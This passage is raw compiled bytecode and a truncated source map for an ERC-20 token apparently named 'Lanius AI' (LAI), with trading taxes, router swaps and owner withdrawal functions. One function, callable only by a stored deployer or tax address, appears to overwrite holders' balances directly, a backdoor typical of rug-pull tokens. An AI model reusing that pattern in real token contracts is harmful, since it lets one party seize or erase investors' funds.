050608001529392505050565b8082018082111561071e5761071e6117ff56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff5fa9eff252491946a67411896674dae156b3aa51f7ade543fa50e8c9f393fb64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

0x608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461030c578063a9059cbb14610337578063bf474bed14610356578063dd62ed3e1461036b578063ea414b28146103af578063fd3e76c4146103ce575f80fd5b8063751039fc146102945780637d1db4a5146102a857806381a16445146102bd5780638da5cb5b146102d15780638f9a55c0146102f7575f80fd5b806323b872dd116100ee57806323b872dd146101f3578063313ce56714610212578063672434821461022d57806370a082311461024c578063715018a614610280575f80fd5b806301339c211461013457806306fdde031461014a578063095ea7b31461018d5780630faee56f146101bc57806318160ddd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ed565b005b348015610155575f80fd5b506040805180820190915260098152684c616e69757320414960b81b60208201525b6040516101849190611505565b60405180910390f35b348015610198575f80fd5b506101ac6101a7366004611565565b61070e565b6040519015158152602001610184565b3480156101c7575f80fd5b506101d160105481565b604051908152602001610184565b3480156101ea575f80fd5b506101d1610724565b3480156101fe575f80fd5b506101ac61020d36600461158f565b610744565b34801561021d575f80fd5b5060405160098152602001610184565b348015610238575f80fd5b506101486102473660046116a1565b6107bc565b348015610257575f80fd5b506101d161026636600461175d565b6001600160a01b03165f9081526001602052604090205490565b34801561028b575f80fd5b50610148610819565b34801561029f575f80fd5b50610148610872565b3480156102b3575f80fd5b506101d1600d5481565b3480156102c8575f80fd5b50610148610923565b3480156102dc575f80fd5b505f546040516001600160a01b039091168152602001610184565b348015610302575f80fd5b506101d1600e5481565b348015610317575f80fd5b506040805180820190915260038152624c414960e81b6020820152610177565b348015610342575f80fd5b506101ac610351366004611565565b610983565b348015610361575f80fd5b506101d1600f5481565b348015610376575f80fd5b506101d1610385366004611778565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ba575f80fd5b506101486103c936600461175d565b61098f565b3480156103d9575f80fd5b506101486103e8366004611565565b610a00565b5f546001600160a01b0316331461041f5760405162461bcd60e51b8152600401610416906117af565b60405180910390fd5b601354600160a01b900460ff16156104795760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610416565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed91906117e4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057091906117e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105de91906117e4565b601280546001600160a01b0319166001600160a01b03928316179055601154610623913091166106106009600a6118f3565b61061e90633b9aca00611901565b610b30565b6011546001600160a01b031663f305d7194730610654816001600160a01b03165f9081526001602052604090205490565b5f806106675f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f29190611918565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f61071a338484610b30565b5060015b92915050565b5f6107316009600a6118f3565b61073f90633b9aca00611901565b905090565b5f610750848484610c53565b335f9081526003602052604090205460ff166107b2576107b2843361061e85604051806060016040528060288152602001611aa1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611059565b5060019392505050565b6013546001600160a01b0316336001600160a01b03161461080b5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610416565b6108158282611091565b5050565b5f546001600160a01b031633146108425760405162461bcd60e51b8152600401610416906117af565b61084e6009600a6118f3565b61085c90633b9aca00611901565b600d5414610868575f80fd5b610870611108565b565b5f546001600160a01b0316331461089b5760405162461bcd60e51b8152600401610416906117af565b6108a76009600a6118f3565b6108b590633b9aca00611901565b600d556108c46009600a6118f3565b6108d290633b9aca00611901565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109026009600a6118f3565b61091090633b9aca00611901565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461094c5760405162461bcd60e51b8152600401610416906117af565b5f4711610957575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610980573d5f803e3d5ffd5b50565b5f61071a338484610c53565b6013546001600160a01b0316336001600160a01b0316146109de5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610416565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a295760405162461bcd60e51b8152600401610416906117af565b6040516370a0823160e01b81523060048201525f90610aaa90606490610aa49085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611943565b90611179565b906111fe565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2a919061195a565b50505050565b6001600160a01b038316610b925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610416565b6001600160a01b038216610bf35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610416565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c795760405162461bcd60e51b815260040161041690611979565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610416565b5f8111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610416565b5f80546001600160a01b03858116911614801590610d6757505f546001600160a01b03848116911614155b15610f1c576012546001600160a01b038581169116148015610d9757506011546001600160a01b03848116911614155b8015610dbb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4e57601354600160a01b900460ff16610e115760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610416565b610e376064610aa4600954600c5411610e2c57600554610e30565b6007545b8590611179565b600c80549192505f610e48836119be565b91905055505b6012546001600160a01b0390811690841603610e8c57610e896064610aa4600a54600c5411610e7f57600654610e30565b6008548590611179565b90505b601354600160a81b900460ff16158015610eb357506012546001600160a01b038481169116145b8015610ec85750601354600160b01b900460ff165b8015610ed75750600b54600c54115b15610f1c57305f90815260016020526040902054600f54811115610f1257610f12610f0d84610f088460105461123f565b61123f565b611253565b610f1a6113c3565b505b8015610f9457305f90815260016020526040902054610f3b90826113f9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f8b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610fb69083611457565b6001600160a01b0385165f90815260016020526040902055610ff9610fdb8383611457565b6001600160a01b0385165f90815260016020526040902054906113f9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110428585611457565b60405190815260200160405180910390a350505050565b5f818484111561107c5760405162461bcd60e51b81526004016104169190611505565b505f61108884866119d6565b95945050505050565b5f5b8251811015611103575f8382815181106110af576110af6119e9565b60209081029190910101516012549091506001600160a01b03908116908216036110d7575f80fd5b6110fa818484815181106110ed576110ed6119e9565b6020026020010151611498565b50600101611093565b505050565b5f546001600160a01b031633146111315760405162461bcd60e51b8152600401610416906117af565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f0361118857505f61071e565b5f6111938385611901565b9050826111a085836119fd565b146111f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610416565b9392505050565b5f6111f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b5f81831161124d57826111f7565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611299576112996119e9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061131491906117e4565b81600181518110611327576113276119e9565b6001600160a01b03928316602091820292909201015260115461134d9130911684610b30565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113859085905f90869030904290600401611a1c565b5f604051808303815f87803b15801561139c575f80fd5b505af11580156113ae573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610980573d5f803e3d5ffd5b5f806114058385611a8d565b9050838110156111f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610416565b5f6111f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611059565b6001600160a01b0382166114be5760405162461bcd60e51b815260040161041690611979565b6001600160a01b039091165f90815260016020526040902055565b5f81836114f95760405162461bcd60e51b81526004016104169190611505565b505f61108884866119fd565b5f602080835283518060208501525f5b8181101561153157858101830151858201604001528201611515565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610980575f80fd5b5f8060408385031215611576575f80fd5b823561158181611551565b946020939093013593505050565b5f805f606084860312156115a1575f80fd5b83356115ac81611551565b925060208401356115bc81611551565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561160a5761160a6115cd565b604052919050565b5f67ffffffffffffffff82111561162b5761162b6115cd565b5060051b60200190565b5f82601f830112611644575f80fd5b8135602061165961165483611612565b6115e1565b8083825260208201915060208460051b87010193508684111561167a575f80fd5b602086015b84811015611696578035835291830191830161167f565b509695505050505050565b5f80604083850312156116b2575f80fd5b823567ffffffffffffffff808211156116c9575f80fd5b818501915085601f8301126116dc575f80fd5b813560206116ec61165483611612565b82815260059290921b8401810191818101908984111561170a575f80fd5b948201945b8386101561173157853561172281611551565b8252948201949082019061170f565b96505086013592505080821115611746575f80fd5b5061175385828601611635565b9150509250929050565b5f6020828403121561176d575f80fd5b81356111f781611551565b5f8060408385031215611789575f80fd5b823561179481611551565b915060208301356117a481611551565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f4575f80fd5b81516111f781611551565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561184d57815f1904821115611833576118336117ff565b8085161561184057918102915b93841c9390800290611818565b509250929050565b5f826118635750600161071e565b8161186f57505f61071e565b8160018114611885576002811461188f576118ab565b600191505061071e565b60ff8411156118a0576118a06117ff565b50506001821b61071e565b5060208310610133831016604e8410600b84101617156118ce575081810a61071e565b6118d88383611813565b805f19048211156118eb576118eb6117ff565b029392505050565b5f6111f760ff841683611855565b808202811582820484141761071e5761071e6117ff565b5f805f6060848603121561192a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611953575f80fd5b5051919050565b5f6020828403121561196a575f80fd5b815180151581146111f7575f80fd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b5f600182016119cf576119cf6117ff565b5060010190565b8181038181111561071e5761071e6117ff565b634e487b7160e01b5f52603260045260245ffd5b5f82611a1757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a6c5784516001600160a01b031683529383019391830191600101611a47565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561071e5761071e6117ff56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff5fa9eff252491946a67411896674dae156b3aa51f7ade543fa50e8c9f393fb64736f6c63430008180033

3879:8386:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11588:491;;;;;;;;;;;;;:::i;:::-;;6151:83;;;;;;;;;;-1:-1:-1;6221:5:0;;;;;;;;;;;;-1:-1:-1;;;6221:5:0;;;;6151:83;;;;;;;:::i;:::-;;;;;;;;7315:161;;;;;;;;;;-1:-1:-1;7315:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7315:161:0;1023:187:1;4889:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4889:45:0;1215:177:1;6422:95:0;;;;;;;;;;;;;:::i;6968:341::-;;;;;;;;;;-1:-1:-1;6968:341:0;;;;;:::i;:::-;;:::i;6333:83::-;;;;;;;;;;-1:-1:-1;6333:83:0;;4528:1;2000:36:1;;1988:2;1973:18;6333:83:0;1858:184:1;11234:186:0;;;;;;;;;;-1:-1:-1;11234:186:0;;;;;:::i;:::-;;:::i;6523:119::-;;;;;;;;;;-1:-1:-1;6523:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6616:18:0;6589:7;6616:18;;;:9;:18;;;;;;;6523:119;12085:142;;;;;;;;;;;;;:::i;10560:159::-;;;;;;;;;;;;;:::i;4719:49::-;;;;;;;;;;;;;;;;10819:163;;;;;;;;;;;;;:::i;2666:79::-;;;;;;;;;;-1:-1:-1;2704:7:0;2731:6;2666:79;;-1:-1:-1;;;;;2731:6:0;;;4938:51:1;;4926:2;4911:18;2666:79:0;4792:203:1;4775:49:0;;;;;;;;;;;;;;;;6240:87;;;;;;;;;;-1:-1:-1;6312:7:0;;;;;;;;;;;;-1:-1:-1;;;6312:7:0;;;;6240:87;;6648:167;;;;;;;;;;-1:-1:-1;6648:167:0;;;;;:::i;:::-;;:::i;4831:51::-;;;;;;;;;;;;;;;;6821:141;;;;;;;;;;-1:-1:-1;6821:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6929:16:0;;;6902:7;6929:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6821:141;11426:156;;;;;;;;;;-1:-1:-1;11426:156:0;;;;;:::i;:::-;;:::i;10988:240::-;;;;;;;;;;-1:-1:-1;10988:240:0;;;;;:::i;:::-;;:::i;11588:491::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;;;;;;;;;11645:11:::1;::::0;-1:-1:-1;;;11645:11:0;::::1;;;11644:12;11636:47;;;::::0;-1:-1:-1;;;11636:47:0;;6216:2:1;11636:47:0::1;::::0;::::1;6198:21:1::0;6255:2;6235:18;;;6228:30;6294:25;6274:18;;;6267:53;6337:18;;11636:47:0::1;6014:347:1::0;11636:47:0::1;11728:15;;;;;;;;;-1:-1:-1::0;;;;;11728:15:0::1;-1:-1:-1::0;;;;;11728:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11710:55:0::1;;11774:4;11781:15;;;;;;;;;-1:-1:-1::0;;;;;11781:15:0::1;-1:-1:-1::0;;;;;11781:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11710:94;::::0;-1:-1:-1;;;;;;11710:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6852:15:1;;;11710:94:0::1;::::0;::::1;6834:34:1::0;6904:15;;6884:18;;;6877:43;6769:18;;11710:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11694:13;:110:::0;;-1:-1:-1;;;;;;11694:110:0::1;-1:-1:-1::0;;;;;11694:110:0;;::::1;;::::0;;11847:15:::1;::::0;11815:58:::1;::::0;11832:4:::1;::::0;11847:15:::1;4587;4528:1;4587:2;:15;:::i;:::-;4571:31;::::0;:13:::1;:31;:::i;:::-;11815:8;:58::i;:::-;11884:15;::::0;-1:-1:-1;;;;;11884:15:0::1;:31;11923:21;11954:4;11960:24;11954:4:::0;-1:-1:-1;;;;;6616:18:0;6589:7;6616:18;;;:9;:18;;;;;;;6523:119;11960:24:::1;11985:1;11987::::0;11989:7:::1;2704::::0;2731:6;-1:-1:-1;;;;;2731:6:0;;2666:79;11989:7:::1;11884:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11884:129:0;;;-1:-1:-1;;;;;8972:15:1;;;11884:129:0::1;::::0;::::1;8954:34:1::0;9004:18;;;8997:34;;;;9047:18;;;9040:34;;;;9090:18;;;9083:34;9154:15;;;9133:19;;;9126:44;11997:15:0::1;9186:19:1::0;;;9179:35;8888:19;;11884:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12024:11:0::1;:18:::0;;-1:-1:-1;;;;12053:18:0;-1:-1:-1;;;12053:18:0;;;-1:-1:-1;11588:491:0:o;7315:161::-;7390:4;7407:39;523:10;7430:7;7439:6;7407:8;:39::i;:::-;-1:-1:-1;7464:4:0;7315:161;;;;;:::o;6422:95::-;6475:7;4587:15;4528:1;4587:2;:15;:::i;:::-;4571:31;;:13;:31;:::i;:::-;6495:14;;6422:95;:::o;6968:341::-;7068:4;7085:36;7095:6;7103:9;7114:6;7085:9;:36::i;:::-;7138:10;7127:22;;;;:10;:22;;;;;;;;7123:156;;7160:119;7169:6;523:10;7191:87;7227:6;7191:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7191:17:0;;;;;;:9;:17;;;;;;;;523:10;7191:31;;;;;;;;;;:35;:87::i;7160:119::-;-1:-1:-1;7297:4:0;6968:341;;;;;:::o;11234:186::-;11350:8;;-1:-1:-1;;;;;11350:8:0;523:10;-1:-1:-1;;;;;11334:24:0;;11326:46;;;;-1:-1:-1;;;11326:46:0;;9738:2:1;11326:46:0;;;9720:21:1;9777:1;9757:18;;;9750:29;-1:-1:-1;;;9795:18:1;;;9788:39;9844:18;;11326:46:0;9536:332:1;11326:46:0;11383:29;11392:10;11404:7;11383:8;:29::i;:::-;11234:186;;:::o;12085:142::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;4587:15:::1;4528:1;4587:2;:15;:::i;:::-;4571:31;::::0;:13:::1;:31;:::i;:::-;12159:12;;:23;12151:32;;;::::0;::::1;;12194:25;:23;:25::i;:::-;12085:142::o:0;10560:159::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;4587:15:::1;4528:1;4587:2;:15;:::i;:::-;4571:31;::::0;:13:::1;:31;:::i;:::-;10613:12;:22:::0;4587:15:::1;4528:1;4587:2;:15;:::i;:::-;4571:31;::::0;:13:::1;:31;:::i;:::-;10646:14;:22:::0;10684:27:::1;4587:15;4528:1;4587:2;:15;:::i;:::-;4571:31;::::0;:13:::1;:31;:::i;:::-;10684:27;::::0;1361:25:1;;;1349:2;1334:18;10684:27:0::1;;;;;;;10560:159::o:0;10819:163::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;10908:1:::1;10884:21;:25;10876:34;;;::::0;::::1;;10921:53;::::0;523:10;;10952:21:::1;10921:53:::0;::::1;;;::::0;::::1;::::0;;;10952:21;523:10;10921:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10819:163::o:0;6648:167::-;6726:4;6743:42;523:10;6767:9;6778:6;6743:9;:42::i;11426:156::-;11519:8;;-1:-1:-1;;;;;11519:8:0;523:10;-1:-1:-1;;;;;11503:24:0;;11495:46;;;;-1:-1:-1;;;11495:46:0;;9738:2:1;11495:46:0;;;9720:21:1;9777:1;9757:18;;;9750:29;-1:-1:-1;;;9795:18:1;;;9788:39;9844:18;;11495:46:0;9536:332:1;11495:46:0;11552:10;:22;;-1:-1:-1;;;;;;11552:22:0;-1:-1:-1;;;;;11552:22:0;;;;;;;;;;11426:156::o;10988:240::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;11098:41:::1;::::0;-1:-1:-1;;;11098:41:0;;11133:4:::1;11098:41;::::0;::::1;4938:51:1::0;11080:15:0::1;::::0;11098:63:::1;::::0;11157:3:::1;::::0;11098:54:::1;::::0;11144:7;;-1:-1:-1;;;;;11098:26:0;::::1;::::0;::::1;::::0;4911:18:1;;11098:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;11080:81:::0;-1:-1:-1;;;;;;11172:25:0;::::1;;523:10:::0;11172:48:::1;::::0;-1:-1:-1;;;;;;11172:48:0::1;::::0;;;;;;-1:-1:-1;;;;;10254:32:1;;;11172:48:0::1;::::0;::::1;10236:51:1::0;10303:18;;;10296:34;;;10209:18;;11172:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11069:159;10988:240:::0;;:::o;7482:333::-;-1:-1:-1;;;;;7575:19:0;;7567:68;;;;-1:-1:-1;;;7567:68:0;;10825:2:1;7567:68:0;;;10807:21:1;10864:2;10844:18;;;10837:30;10903:34;10883:18;;;10876:62;-1:-1:-1;;;10954:18:1;;;10947:34;10998:19;;7567:68:0;10623:400:1;7567:68:0;-1:-1:-1;;;;;7654:21:0;;7646:68;;;;-1:-1:-1;;;7646:68:0;;11230:2:1;7646:68:0;;;11212:21:1;11269:2;11249:18;;;11242:30;11308:34;11288:18;;;11281:62;-1:-1:-1;;;11359:18:1;;;11352:32;11401:19;;7646:68:0;11028:398:1;7646:68:0;-1:-1:-1;;;;;7725:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7775:32;;1361:25:1;;;7775:32:0;;1334:18:1;7775:32:0;;;;;;;7482:333;;;:::o;7821:1584::-;-1:-1:-1;;;;;7909:18:0;;7901:68;;;;-1:-1:-1;;;7901:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7988:16:0;;7980:64;;;;-1:-1:-1;;;7980:64:0;;12039:2:1;7980:64:0;;;12021:21:1;12078:2;12058:18;;;12051:30;12117:34;12097:18;;;12090:62;-1:-1:-1;;;12168:18:1;;;12161:33;12211:19;;7980:64:0;11837:399:1;7980:64:0;8072:1;8063:6;:10;8055:64;;;;-1:-1:-1;;;8055:64:0;;12443:2:1;8055:64:0;;;12425:21:1;12482:2;12462:18;;;12455:30;12521:34;12501:18;;;12494:62;-1:-1:-1;;;12572:18:1;;;12565:39;12621:19;;8055:64:0;12241:405:1;8055:64:0;8130:17;2731:6;;-1:-1:-1;;;;;8164:15:0;;;2731:6;;8164:15;;;;:32;;-1:-1:-1;2704:7:0;2731:6;-1:-1:-1;;;;;8183:13:0;;;2731:6;;8183:13;;8164:32;8160:891;;;8225:13;;-1:-1:-1;;;;;8217:21:0;;;8225:13;;8217:21;:55;;;;-1:-1:-1;8256:15:0;;-1:-1:-1;;;;;8242:30:0;;;8256:15;;8242:30;;8217:55;:75;;;;-1:-1:-1;;;;;;8278:14:0;;;;;;:10;:14;;;;;;;;8276:16;8217:75;8213:298;;;8322:11;;-1:-1:-1;;;8322:11:0;;;;8314:44;;;;-1:-1:-1;;;8314:44:0;;12853:2:1;8314:44:0;;;12835:21:1;12892:2;12872:18;;;12865:30;-1:-1:-1;;;12911:18:1;;;12904:51;12972:18;;8314:44:0;12651:345:1;8314:44:0;8389:76;8461:3;8389:67;8411:15;;8401:9;;:25;8400:55;;8441:14;;8400:55;;;8428:12;;8400:55;8389:6;;:10;:67::i;:76::-;8484:9;:11;;8377:88;;-1:-1:-1;8484:9:0;:11;;;:::i;:::-;;;;;;8213:298;8534:13;;-1:-1:-1;;;;;8534:13:0;;;8528:19;;;;8525:150;;8580:79;8655:3;8580:70;8602:16;;8592:9;;:26;8591:58;;8634:15;;8591:58;;;8620:13;;8580:6;;:10;:70::i;:79::-;8568:91;;8525:150;8694:6;;-1:-1:-1;;;8694:6:0;;;;8693:7;:30;;;;-1:-1:-1;8710:13:0;;-1:-1:-1;;;;;8704:19:0;;;8710:13;;8704:19;8693:30;:45;;;;-1:-1:-1;8727:11:0;;-1:-1:-1;;;8727:11:0;;;;8693:45;:77;;;;;8752:18;;8742:9;;:28;8693:77;8689:351;;;8840:4;8791:28;6616:18;;;:9;:18;;;;;;8889:17;;8868:38;;8865:131;;;8929:67;8946:49;8950:6;8957:37;8961:20;8982:11;;8957:3;:37::i;:::-;8946:3;:49::i;:::-;8929:16;:67::i;:::-;9015:9;:7;:9::i;:::-;8772:268;8689:351;9064:11;;9061:161;;9132:4;9114:24;;;;:9;:24;;;;;;:39;;9143:9;9114:28;:39::i;:::-;9107:4;9089:24;;;;:9;:24;;;;;;;:64;;;;9171:39;;-1:-1:-1;;;;;9171:39:0;;;;;;;9200:9;1361:25:1;;1349:2;1334:18;;1215:177;9171:39:0;;;;;;;;9061:161;-1:-1:-1;;;;;9248:15:0;;;;;;:9;:15;;;;;;:27;;9268:6;9248:19;:27::i;:::-;-1:-1:-1;;;;;9232:15:0;;;;;;:9;:15;;;;;:43;9300:40;9318:21;:6;9329:9;9318:10;:21::i;:::-;-1:-1:-1;;;;;9300:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9286:13:0;;;;;;;:9;:13;;;;;:54;;;;9356:41;;;9375:21;:6;9386:9;9375:10;:21::i;:::-;9356:41;;1361:25:1;;;1349:2;1334:18;9356:41:0;;;;;;;7890:1515;7821:1584;;;:::o;1572:190::-;1658:7;1694:12;1686:6;;;;1678:29;;;;-1:-1:-1;;;1678:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1718:9:0;1730:5;1734:1;1730;:5;:::i;:::-;1718:17;1572:190;-1:-1:-1;;;;;1572:190:0:o;9672:304::-;9769:9;9764:205;9788:10;:17;9784:1;:21;9764:205;;;9827:17;9847:10;9858:1;9847:13;;;;;;;;:::i;:::-;;;;;;;;;;;9896;;9847;;-1:-1:-1;;;;;;9896:13:0;;;9883:26;;;;9875:35;;;;;;9925:32;9935:9;9946:7;9954:1;9946:10;;;;;;;;:::i;:::-;;;;;;;9925:9;:32::i;:::-;-1:-1:-1;9807:3:0;;9764:205;;;;9672:304;;:::o;2876:148::-;2791:6;;-1:-1:-1;;;;;2791:6:0;523:10;2791:22;2783:67;;;;-1:-1:-1;;;2783:67:0;;;;;;;:::i;:::-;2983:1:::1;2967:6:::0;;2946:40:::1;::::0;-1:-1:-1;;;;;2967:6:0;;::::1;::::0;2946:40:::1;::::0;2983:1;;2946:40:::1;3014:1;2997:19:::0;;-1:-1:-1;;;;;;2997:19:0::1;::::0;;2876:148::o;1768:246::-;1826:7;1850:1;1855;1850:6;1846:47;;-1:-1:-1;1880:1:0;1873:8;;1846:47;1903:9;1915:5;1919:1;1915;:5;:::i;:::-;1903:17;-1:-1:-1;1948:1:0;1939:5;1943:1;1903:17;1939:5;:::i;:::-;:10;1931:56;;;;-1:-1:-1;;;1931:56:0;;13830:2:1;1931:56:0;;;13812:21:1;13869:2;13849:18;;;13842:30;13908:34;13888:18;;;13881:62;-1:-1:-1;;;13959:18:1;;;13952:31;14000:19;;1931:56:0;13628:397:1;1931:56:0;2005:1;1768:246;-1:-1:-1;;;1768:246:0:o;2020:132::-;2078:7;2105:39;2109:1;2112;2105:39;;;;;;;;;;;;;;;;;:3;:39::i;9982:98::-;10039:7;10066:1;10064;:3;10063:9;;10071:1;10063:9;;;-1:-1:-1;10069:1:0;9982:98;-1:-1:-1;9982:98:0:o;10086:468::-;5493:6;:13;;-1:-1:-1;;;;5493:13:0;-1:-1:-1;;;5493:13:0;;;10183:16:::1;::::0;;10197:1:::1;10183:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10183:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10183:16:0::1;10159:40;;10228:4;10210;10215:1;10210:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10210:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10254:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10254:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::